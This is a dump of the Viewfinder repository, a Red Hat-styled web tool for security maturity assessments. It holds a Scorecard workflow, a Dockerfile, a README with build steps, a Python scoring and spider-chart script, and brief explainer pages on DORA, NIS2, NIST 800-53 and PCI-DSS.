├── .github └── workflows │ └── scorecard.yml ├── Dockerfile ├── LICENSE ├── README.md ├── assessment_script_python ├── compliance.json ├── compliance ├── dora.html ├── nis2.html ├── nist-800-53.html └── pci-dss.html ├── controls-Core.json ├── controls-Template.json ├── controls.json ├── css ├── assets │ └── fonts │ │ ├── RedHatDisplay │ │ ├── RedHatDisplay-Black.woff │ │ ├── RedHatDisplay-Black.woff2 │ │ ├── RedHatDisplay-BlackItalic.woff │ │ ├── RedHatDisplay-BlackItalic.woff2 │ │ ├── RedHatDisplay-Bold.woff │ │ ├── RedHatDisplay-Bold.woff2 │ │ ├── RedHatDisplay-BoldItalic.woff │ │ ├── RedHatDisplay-BoldItalic.woff2 │ │ ├── RedHatDisplay-Italic.woff │ │ ├── RedHatDisplay-Italic.woff2 │ │ ├── RedHatDisplay-Medium.woff │ │ ├── RedHatDisplay-Medium.woff2 │ │ ├── RedHatDisplay-MediumItalic.woff │ │ ├── RedHatDisplay-MediumItalic.woff2 │ │ ├── RedHatDisplay-Regular.woff │ │ └── RedHatDisplay-Regular.woff2 │ │ ├── RedHatText │ │ ├── RedHatText-Bold.woff │ │ ├── RedHatText-Bold.woff2 │ │ ├── RedHatText-BoldItalic.woff │ │ ├── RedHatText-BoldItalic.woff2 │ │ ├── RedHatText-Italic.woff │ │ ├── RedHatText-Italic.woff2 │ │ ├── RedHatText-Medium.woff │ │ ├── RedHatText-Medium.woff2 │ │ ├── RedHatText-MediumItalic.woff │ │ ├── RedHatText-MediumItalic.woff2 │ │ ├── RedHatText-Regular.woff │ │ └── RedHatText-Regular.woff2 │ │ ├── overpass-bold-italic.woff2 │ │ ├── overpass-bold.woff2 │ │ ├── overpass-extrabold-italic.woff2 │ │ ├── overpass-extrabold.woff2 │ │ ├── overpass-extralight-italic.woff2 │ │ ├── overpass-extralight.woff2 │ │ ├── overpass-heavy-italic.woff2 │ │ ├── overpass-heavy.woff2 │ │ ├── overpass-italic.woff2 │ │ ├── overpass-light-italic.woff2 │ │ ├── overpass-light.woff2 │ │ ├── overpass-regular.woff2 │ │ ├── overpass-semibold-italic.woff2 │ │ ├── overpass-semibold.woff2 │ │ ├── overpass-thin-italic.woff2 │ │ ├── overpass-thin.woff2 │ │ └── overpass.css ├── bootstrap.min.css ├── brands.css ├── overpass.css ├── patternfly-addons.css ├── patternfly.css ├── style.css ├── tab.css ├── table.css └── table2.css ├── images ├── main-page.png ├── recommendations-page.png ├── results-page.png ├── results-table.png ├── telescope-viewfinder-inverse.png └── telescope-viewfinder.png ├── index.php ├── js ├── jquery-3.3.1.js ├── jquery-ui.js ├── jquery.ui.labeledslider.js └── radarChart.js ├── report ├── css │ ├── .DS_Store │ ├── animate.min.css │ ├── bootstrap-grid.css │ ├── bootstrap-grid.css.map │ ├── bootstrap-grid.min.css │ ├── bootstrap-grid.min.css.map │ ├── bootstrap-reboot.css │ ├── bootstrap-reboot.css.map │ ├── bootstrap-reboot.min.css │ ├── bootstrap-reboot.min.css.map │ ├── bootstrap.css │ ├── bootstrap.css.map │ ├── bootstrap.min.css │ ├── bootstrap.min.css.map │ ├── default-skin.css │ ├── font-awesome.min.css │ ├── icomoon.css │ ├── jquery-ui.css │ ├── jquery.fancybox.min.css │ ├── jquery.mCustomScrollbar.min.css │ ├── meanmenu.css │ ├── nice-select.css │ ├── normalize.css │ ├── owl.carousel.min.css │ ├── responsive.css │ ├── slick.css │ ├── style.css │ ├── table.css │ └── table2.css ├── fonts │ ├── FontAwesome.otf │ ├── IcoMoon-Free.ttf │ ├── Poppins-Black.ttf │ ├── Poppins-BlackItalic.ttf │ ├── Poppins-Bold.ttf │ ├── Poppins-BoldItalic.ttf │ ├── Poppins-ExtraBold.ttf │ ├── Poppins-ExtraBoldItalic.ttf │ ├── Poppins-ExtraLight.ttf │ ├── Poppins-ExtraLightItalic.ttf │ ├── Poppins-Italic.ttf │ ├── Poppins-Light.ttf │ ├── Poppins-LightItalic.ttf │ ├── Poppins-Medium.ttf │ ├── Poppins-MediumItalic.ttf │ ├── Poppins-Regular.ttf │ ├── Poppins-SemiBold.ttf │ ├── Poppins-SemiBoldItalic.ttf │ ├── Poppins-Thin.ttf │ ├── Poppins-ThinItalic.ttf │ ├── fontawesome-webfont.eot │ ├── fontawesome-webfont.svg │ ├── fontawesome-webfont.ttf │ ├── fontawesome-webfont.woff │ └── fontawesome-webfont.woff2 ├── images │ ├── .DS_Store │ ├── Security-Maturity-Assessment.png │ ├── banner.png │ ├── banner1.png │ ├── body_bg.png │ ├── bottom.png │ ├── midil.png │ ├── tech-image-1.png │ ├── tech-image-2.png │ ├── tech-image-3.png │ ├── tech-image-4.png │ ├── tech-image-5.png │ ├── tech-image-6.png │ ├── tech-image-7.png │ ├── tech-image-8.png │ ├── tech-image-9.png │ ├── telescope-viewfinder.png │ └── test.png ├── index.php └── js │ ├── .DS_Store │ ├── bootstrap.bundle.js │ ├── bootstrap.bundle.js.map │ ├── bootstrap.bundle.min.js │ ├── bootstrap.bundle.min.js.map │ ├── bootstrap.js │ ├── bootstrap.js.map │ ├── bootstrap.min.js │ ├── bootstrap.min.js.map │ ├── custom.js │ ├── jquery-3.0.0.min.js │ ├── jquery.mCustomScrollbar.concat.min.js │ ├── jquery.min.js │ ├── jquery.validate.js │ ├── modernizer.js │ ├── plugin.js │ ├── popper.min.js │ ├── radarChart.js │ ├── revolution │ ├── .DS_Store │ ├── assets │ │ ├── coloredbg.png │ │ ├── gridtile.png │ │ ├── gridtile_3x3.png │ │ ├── gridtile_3x3_white.png │ │ ├── gridtile_white.png │ │ └── loader.gif │ ├── css │ │ ├── closedhand.html │ │ ├── layers.css │ │ ├── navigation.css │ │ ├── openhand.html │ │ └── settings.css │ ├── fonts │ │ ├── pe-icon-7-stroke │ │ │ ├── css │ │ │ │ └── pe-icon-7-stroke.css │ │ │ └── fonts │ │ │ │ ├── Pe-icon-7-strokebb1d.eot │ │ │ │ ├── Pe-icon-7-strokebb1d.svg │ │ │ │ ├── Pe-icon-7-strokebb1d.ttf │ │ │ │ ├── Pe-icon-7-strokebb1d.woff │ │ │ │ └── Pe-icon-7-stroked41d.eot │ │ └── revicons │ │ │ ├── revicons90c6.eot │ │ │ ├── revicons90c6.svg │ │ │ ├── revicons90c6.ttf │ │ │ └── revicons90c6.woff │ └── js │ │ ├── .DS_Store │ │ ├── extensions │ │ ├── revolution.extension.actions.min.js │ │ ├── revolution.extension.carousel.min.js │ │ ├── revolution.extension.kenburn.min.js │ │ ├── revolution.extension.layeranimation.min.js │ │ ├── revolution.extension.migration.min.js │ │ ├── revolution.extension.navigation.min.js │ │ ├── revolution.extension.parallax.min.js │ │ ├── revolution.extension.slideanims.min.js │ │ └── revolution.extension.video.min.js │ │ ├── jquery.themepunch.revolution.min.js │ │ └── jquery.themepunch.tools.min.js │ └── slider-setting.js └── results.php /.github/workflows/scorecard.yml: -------------------------------------------------------------------------------- 1 | # This workflow uses actions that are not certified by GitHub. They are provided 2 | # by a third-party and are governed by separate terms of service, privacy 3 | # policy, and support documentation. 4 | 5 | name: Scorecard supply-chain security 6 | on: 7 | # For Branch-Protection check. Only the default branch is supported. See 8 | # https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection 9 | branch_protection_rule: 10 | # To guarantee Maintained check is occasionally updated. See 11 | # https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained 12 | schedule: 13 | - cron: '25 4 * * 4' 14 | push: 15 | branches: [ "main" ] 16 | 17 | # Declare default permissions as read only. 18 | permissions: read-all 19 | 20 | jobs: 21 | analysis: 22 | name: Scorecard analysis 23 | runs-on: ubuntu-latest 24 | permissions: 25 | # Needed to upload the results to code-scanning dashboard. 26 | security-events: write 27 | # Needed to publish results and get a badge (see publish_results below). 28 | id-token: write 29 | # Uncomment the permissions below if installing in a private repository. 30 | # contents: read 31 | # actions: read 32 | 33 | steps: 34 | - name: "Checkout code" 35 | uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 36 | with: 37 | persist-credentials: false 38 | 39 | - name: "Run analysis" 40 | uses: ossf/scorecard-action@0864cf19026789058feabb7e87baa5f140aac736 # v2.3.1 41 | with: 42 | results_file: results.sarif 43 | results_format: sarif 44 | # (Optional) "write" PAT token. Uncomment the `repo_token` line below if: 45 | # - you want to enable the Branch-Protection check on a *public* repository, or 46 | # - you are installing Scorecard on a *private* repository 47 | # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action?tab=readme-ov-file#authentication-with-fine-grained-pat-optional. 48 | # repo_token: ${{ secrets.SCORECARD_TOKEN }} 49 | 50 | # Public repositories: 51 | # - Publish results to OpenSSF REST API for easy access by consumers 52 | # - Allows the repository to include the Scorecard badge. 53 | # - See https://github.com/ossf/scorecard-action#publishing-results. 54 | # For private repositories: 55 | # - `publish_results` will always be set to `false`, regardless 56 | # of the value entered here. 57 | publish_results: true 58 | 59 | # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF 60 | # format to the repository Actions tab. 61 | - name: "Upload artifact" 62 | uses: actions/upload-artifact@97a0fba1372883ab732affbe8f94b823f91727db # v3.pre.node20 63 | with: 64 | name: SARIF file 65 | path: results.sarif 66 | retention-days: 5 67 | 68 | # Upload the results to GitHub's code scanning dashboard (optional). 69 | # Commenting out will disable upload of results to your repo's Code Scanning dashboard 70 | - name: "Upload to code-scanning" 71 | uses: github/codeql-action/upload-sarif@1b1aada464948af03b950897e5eb522f92603cc2 # v3.24.9 72 | with: 73 | sarif_file: results.sarif 74 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM registry.access.redhat.com/ubi9/php-81:latest 2 | MAINTAINER Chris Jenkins "chrisj@redhat.com" 3 | EXPOSE 8080 4 | COPY . /opt/app-root/src 5 | CMD /bin/bash -c 'php -S 0.0.0.0:8080' 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![Telescope Logo](./images/telescope-viewfinder-inverse.png) 2 | 3 | ### Description 4 | Viewfinder is a simple web based to tool run a Security Maturity Assessment. 5 | #### Goals 6 | * The primary goal of a Security Maturity Assessment is to understand your security posture by measuring how well it implements, manages, and improves its cybersecurity processes. 7 | 8 | * A key objective is to foster resilience — enabling the organization to anticipate, withstand, recover, and evolve in response to security incidents. 9 | 10 | * It helps prioritise investments in cybersecurity by highlighting the most critical areas needing attention. It can reveal whether existing controls are effective or if additional resources/solutions are necessary to mitigate risks. 11 | 12 | #### Screenshots 13 | ##### Main Page 14 | ![Main Page](./images/main-page.png) 15 | ##### Results Page 16 | ![Results Page](./images/results-page.png) 17 | ##### Recommendations 18 | ![Recommendations](./images/recommendations-page.png) 19 | ##### Maturity Table 20 | ![Maturity Table](./images/results-table.png) 21 | 22 | ### Building 23 | 24 | To build the viewfinder application locally you can use Podman or Docker. 25 | 26 | Firstly, clone this repo to your local host 27 | 28 | ``` git clone https://github.com/boogiespook/viewfinder.git ``` 29 | 30 | The cd to the code directory 31 | ``` cd viewfinder ``` 32 | 33 | You will need to be logged in to the Red Hat Registry (registry.access.redhat.com). 34 | (this could be optional) 35 | 36 | ``` podman login registry.access.redhat.com ``` 37 | 38 | Enter your credentials and you will be able to pull the required images down to build the application. 39 | You can read more about this here: https://access.redhat.com/RegistryAuthentication 40 | 41 | Followed by 42 | 43 | ``` podman build -t viewfinder:latest . ``` 44 | 45 | Output will look something like this 46 | 47 | ``` 48 | Getting image source signatures 49 | Checking if image destination supports signatures 50 | Copying blob sha256:0f50e783149b25f84a6a8263a36884e0be54048c3e792b55fa4ba13e93f2b5aa 51 | Copying blob sha256:e584cd196457fe615697ae7bc6c7744519838a1bc718f9c7f04bfccb1d09da71 52 | Copying blob sha256:1153e061da4ea9623b0dcdb9e8638b9432d5aa919217cc7c115b5a858f40f306 53 | Copying blob sha256:4204970c1bfc82b3831e6267e6b670d34071b294bcd078e840f09ed9e3a348b2 54 | Copying config sha256:c0520a77c4c619690f9caa6319623364888f186b100dd3ca217aa289a97ee37a 55 | Writing manifest to image destination 56 | Storing signatures 57 | STEP 2/5: MAINTAINER Chris Jenkins "chrisj@redhat.com" 58 | --> 0d5a5bc5cbc2 59 | STEP 3/5: EXPOSE 8080 60 | --> 23390857b459 61 | STEP 4/5: COPY . /opt/app-root/src 62 | --> 95271e3e5caf 63 | STEP 5/5: CMD /bin/bash -c 'php -S 0.0.0.0:8080' 64 | COMMIT viewfinder:latest 65 | --> deb31fe831fc 66 | Successfully tagged localhost/viewfinder:latest 67 | deb31fe831fcc850e8b8023b693b60de7f470829ffb0fdeb67f6454b259884e5 68 | ``` 69 | 70 | You can verify this by listing the images on your local machine 71 | 72 | ```podman images``` 73 | 74 | and you will get an output something like this 75 | 76 | ``` localhost/viewfinder latest deb31fe831fc 15 minutes ago 928 MB ``` 77 | 78 | ### Running 79 | 80 | Once you have the container built you are ready to run the application. 81 | 82 | ``` podman run -p 8080:8080 localhost/viewfinder ``` 83 | 84 | If everything is fine you will see a message like this 85 | 86 | ``` PHP 8.0.30 Development Server (http://0.0.0.0:8080) started ``` 87 | 88 | You can then open a browser and visit [http://localhost:8080](http://localhost:8080) to open the main page. 89 | 90 | ### Pre-built image 91 | If you would just like the image, it's available on quay.io: 92 | 93 | ``` podman pull quay.io/rhn_gps_cjenkins/viewfinder ``` 94 | 95 | ### Contributing 96 | 97 | If you would like to contribute to this project, please feel free to fork the repo. All PRs are gratefully received! 98 | 99 | 100 | [![OpenSSF Scorecard](https://api.scorecard.dev/projects/github.com/boogiespook/viewfinder/badge)](https://scorecard.dev/viewer/?uri=github.com/boogiespook/viewfinder) 101 | -------------------------------------------------------------------------------- /assessment_script_python: -------------------------------------------------------------------------------- 1 | import matplotlib.pyplot as plt 2 | import pandas as pd 3 | import numpy as np 4 | 5 | def determine_maturity_level(score, total=False): 6 | if not total: 7 | if score <= 12: 8 | return "Foundational" 9 | elif score <= 24: 10 | return "Strategic" 11 | else: 12 | return "Advanced" 13 | else: 14 | if score <= 84: 15 | return "Foundational" 16 | elif score <= 168: 17 | return "Strategic" 18 | else: 19 | return "Advanced" 20 | 21 | def get_scores_for_level(capability, level, max_points): 22 | score = 0 23 | for point in range(1, max_points + 1): 24 | while True: # Add a loop to ensure valid input 25 | response = input(f"Confirm {capability} {level} capability {point} (y/n): ").strip().lower() 26 | if response in ['y', 'n']: # Check if response is valid 27 | if response == 'y': 28 | score += point 29 | break # Exit the loop for both 'y' and 'n' responses 30 | else: 31 | print("Invalid input. Please enter 'y' for yes or 'n' for no.") 32 | return score 33 | 34 | def calculate_adjusted_score(capabilities_maturity, total_score): 35 | base_multipliers = {"Foundational": 1.02, "Strategic": 1.03, "Advanced": 1.04} 36 | overall_multiplier = 1.0 37 | adjusted_domains = [] 38 | for level, count in capabilities_maturity.items(): 39 | if count > 0: 40 | overall_multiplier *= (base_multipliers[level] ** count) 41 | adjusted_domains.append(level) 42 | adjusted_score = total_score * overall_multiplier 43 | return adjusted_score, adjusted_domains 44 | 45 | def create_spider_chart(capability_scores, adjusted_score, overall_maturity_level): 46 | df = pd.DataFrame(capability_scores, columns=['Capability', 'Score', 'Maturity']) 47 | df['Normalized Score'] = df['Score'] / 36 48 | categories = df['Capability'].values 49 | N = len(categories) 50 | angles = [n / float(N) * 2 * np.pi for n in range(N)] 51 | angles += angles[:1] 52 | ax = plt.subplot(111, polar=True) 53 | plt.xticks(angles[:-1], categories, color='grey', size=8) 54 | ax.set_rlabel_position(0) 55 | plt.yticks([0.25, 0.5, 0.75], ["0.25", "0.5", "0.75"], color="grey", size=7) 56 | plt.ylim(0,1) 57 | values = df['Normalized Score'].values.flatten().tolist() 58 | values += values[:1] 59 | ax.plot(angles, values, linewidth=1, linestyle='solid', label='Maturity Score') 60 | ax.fill(angles, values, 'b', alpha=0.1) 61 | plt.title(f'Security Maturity Assessment - Overall Maturity: {overall_maturity_level}', size=11, color='blue', y=1.1) 62 | plt.legend(loc='upper right', bbox_to_anchor=(0.1, 0.1)) 63 | plt.show() 64 | 65 | def main(): 66 | capabilities = [ 67 | "Secure Operations", "Secure Recovery", "Secure Network", "Secure Application", 68 | "Secure Identity", "Secure Data", "Secure Infrastructure" 69 | ] 70 | 71 | total_score = 0 72 | capabilities_maturity = {"Foundational": 0, "Strategic": 0, "Advanced": 0} 73 | capability_details = [] 74 | 75 | for capability in capabilities: 76 | print(f"\nEntering scores for {capability}:") 77 | 78 | foundational_score = get_scores_for_level(capability, "Foundational", 3) 79 | strategic_score = get_scores_for_level(capability, "Strategic", 3) 80 | advanced_score = get_scores_for_level(capability, "Advanced", 2) 81 | 82 | capability_score = foundational_score + strategic_score + advanced_score 83 | capability_maturity = determine_maturity_level(capability_score) 84 | capabilities_maturity[capability_maturity] += 1 85 | total_score += capability_score 86 | capability_details.append((capability, capability_score, capability_maturity)) 87 | 88 | adjusted_score, adjusted_domains = calculate_adjusted_score(capabilities_maturity, total_score) 89 | overall_maturity_level = determine_maturity_level(adjusted_score, total=True) 90 | 91 | # Create and show the spider chart 92 | create_spider_chart(capability_details, adjusted_score, overall_maturity_level) 93 | 94 | # Prepare and save the output to a text file 95 | with open("security_maturity_assessment.txt", "w") as file: 96 | for name, score, maturity in capability_details: 97 | file.write(f"{name}: Score = {score}/36, Maturity = {maturity}\n") 98 | if adjusted_domains: 99 | file.write(f"Domains contributing to score adjustment: {', '.join(adjusted_domains)}\n") 100 | file.write(f"Raw Total Score: {total_score}/252\n") 101 | file.write(f"Adjusted Total Score: {adjusted_score:.2f}/252\n") 102 | file.write(f"Overall Maturity Level: {overall_maturity_level}\n") 103 | 104 | if __name__ == "__main__": 105 | main() 106 | -------------------------------------------------------------------------------- /compliance.json: -------------------------------------------------------------------------------- 1 | { 2 | "NIST 800-53" : { 3 | "name" : "NIST 800-53", 4 | "link" : "compliance/nist-800-53.html" 5 | }, 6 | "ISO 27001" : { 7 | "name" : "ISO 27001", 8 | "link" : "" 9 | }, 10 | "PCI DSS" : { 11 | "name" : "PCI DSS", 12 | "link" : "compliance/pci-dss.html" 13 | }, 14 | "FedRAMP" : { 15 | "name" : "FedRAMP", 16 | "link" : "" 17 | }, 18 | "Common Criteria" : { 19 | "name" : "Common Criteria", 20 | "link" : "" 21 | }, 22 | "NIS2" : { 23 | "name" : "NIS2", 24 | "link" : "compliance/nis2.html" 25 | }, 26 | "DORA" : { 27 | "name" : "DORA", 28 | "link" : "compliance/dora.html" 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /compliance/dora.html: -------------------------------------------------------------------------------- 1 |

Digital Operational Resilience Act (DORA)

2 |

3 | The Digital Operational Resilience Act (DORA) is a European Union regulation that affects the financial services sector. DORA mandates that financial services organizations are prepared to operate in the event of critical business service disruptions with a focus on cyber threats or attacks. 4 |

5 |

6 | Companies within scope must show they are digitally resilient and able to deliver critical functions and minimize disruption for customers and the financial system. Organizations must meet requirements for their network and information systems that support business processes.
DORA specifically focuses on 5 areas of information and communication technology (ICT) 7 |

8 | 15 |
16 |

17 |
18 |

19 | DORA will be enforced starting January 17, 2025.

20 |
21 |

Implementation guidelines include:

22 |
23 | 30 |
31 |
32 |

Conclusion

33 |

34 | By adhering to these key points, financial entities can enhance their digital operational resilience, ensuring they can withstand, respond to, and recover from ICT-related disruptions effectively. 35 |

36 | -------------------------------------------------------------------------------- /compliance/nis2.html: -------------------------------------------------------------------------------- 1 |

NIS2

2 |

3 | The Network and Information Systems Directive 2 (NIS2 Directive) is an updated piece of EU legislation that widens the scope of entities and establishes more stringent cybersecurity requirements for organizations operating critical infrastructure across various sectors. It is an update to the original NIS Directive, aiming to enhance cybersecurity across the European Union by expanding the scope and tightening the rules. 4 |

5 |

6 | NIS2 is required to be transposed in all EU countries by 17 October 2024. Given the status of Member State implementations, it is possible that many markets will miss this deadline. 7 | 8 |

9 |
10 |

Key Components of NIS2:

11 |
12 | 26 |
27 |
28 |

Conclusion

29 |

30 | NIS2 compliance requires a comprehensive approach to cybersecurity, encompassing technical controls, governance, risk management, and continuous improvement. Red Hat customers should start to proactively implement these controls to not only meet regulatory requirements but also to protect their critical infrastructure and operations from the increasing threat landscape. 31 |

32 | -------------------------------------------------------------------------------- /compliance/nist-800-53.html: -------------------------------------------------------------------------------- 1 |

NIST 800-53

2 |

The NIST 800-53 security framework, developed by the National Institute of Standards and Technology (NIST), provides a comprehensive set of security and privacy controls for federal information systems and organizations. The framework is part of the NIST Special Publication (SP) 800 series and is widely adopted across various sectors for enhancing information security and risk management.

3 |
4 |

Key Components of NIST 800-53:

5 |
6 | 15 |
16 |

Implementation Steps:

17 |
18 | 26 |
27 | NIST 800-53 serves as a critical tool for organizations aiming to secure their information systems and manage risks effectively. It is regularly updated to address evolving cybersecurity threats and technological advancements. 28 |
29 |
-------------------------------------------------------------------------------- /compliance/pci-dss.html: -------------------------------------------------------------------------------- 1 |

PCI-DSS

2 |

The Payment Card Industry Data Security Standard (PCI-DSS) is a set of security standards designed to ensure that all companies that process, store, or transmit credit card information maintain a secure environment. Developed by the Payment Card Industry Security Standards Council (PCI SSC). PCI-DSS is aimed at reducing credit card fraud and enhancing payment data security.

3 |
4 |

Key Components of NIST 800-53:

5 |
6 | 14 |
15 |

Compliance Levels

16 |
17 |

18 | PCI-DSS compliance is categorized into four levels based on the volume of credit card transactions a business processes annually. Higher levels (1 being the highest) require more stringent validation procedures. 19 |

20 |
21 |

Importance

22 |

23 | Adherence to PCI-DSS is critical for businesses to avoid data breaches, maintain customer trust, and avoid hefty fines or loss of the ability to process credit card transactions. Regular assessments and audits are required to ensure ongoing compliance. 24 |

25 |
26 |
